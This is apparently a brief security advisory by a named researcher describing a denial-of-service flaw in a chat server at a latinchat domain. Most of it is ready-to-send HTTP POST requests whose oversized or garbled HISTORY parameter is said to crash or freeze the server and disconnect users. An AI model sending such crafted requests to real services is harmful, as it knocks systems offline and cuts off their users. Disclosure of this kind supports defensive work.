Today this vulnerability keeps on existing in latinchat but with certain difference.Instead of request:

POST /JAVA HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
Referer: http://www.disp004-org.latinchat.com
Content-length: 142
UserName=mynick&SessionID=C17d808043&TEMPLATE=2&Ro omID=R34_3-1&HISTORY=9999999999999999999999999999999999999999 99999999999999999999999999999

the user can send other request using ASCII characters, for example :

POST /JAVA HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
Referer: http://www.disp004-org.latinchat.com
Content-length: 142
UserName=mynick&SessionID=C17d808043&TEMPLATE=2&Ro omID=R34_3-1&HISTORY=ر«»Ø±«»Ø±«»Ø±«»Ø±«» ر«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø ±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø± «»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±« »Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«» ر«»Ø±«»Ø±«»Ø±«»Ø±

by sending this request to the server, it will crash.

Another request that freezes the server has following aspect:

POST /IN HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
Referer: http://www.disp004-org.latinchat.com
Content-length: 142

using this request the attacker can boot certain quantity of users at the same time and the server remains frozen until the attacker does not stop process of attack.And in this case it does not have a lot of importance what we are going to put in variable of history :
HISTORY=ر«»Ø±«»Ø±«»Ø±«»Ø±«»Ø ±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø± «»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±« »Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«» ر«»Ø±«»Ø±«»Ø±«»Ø±«»Ø±«»Ø ±«»Ø±«»Ø±«»Ø±«»Ø±

or

HISTORY=999999999999999999999999999999999999999999 999999999999999999999999999999999

the result will be the same

Researcher: Vitto Makarsky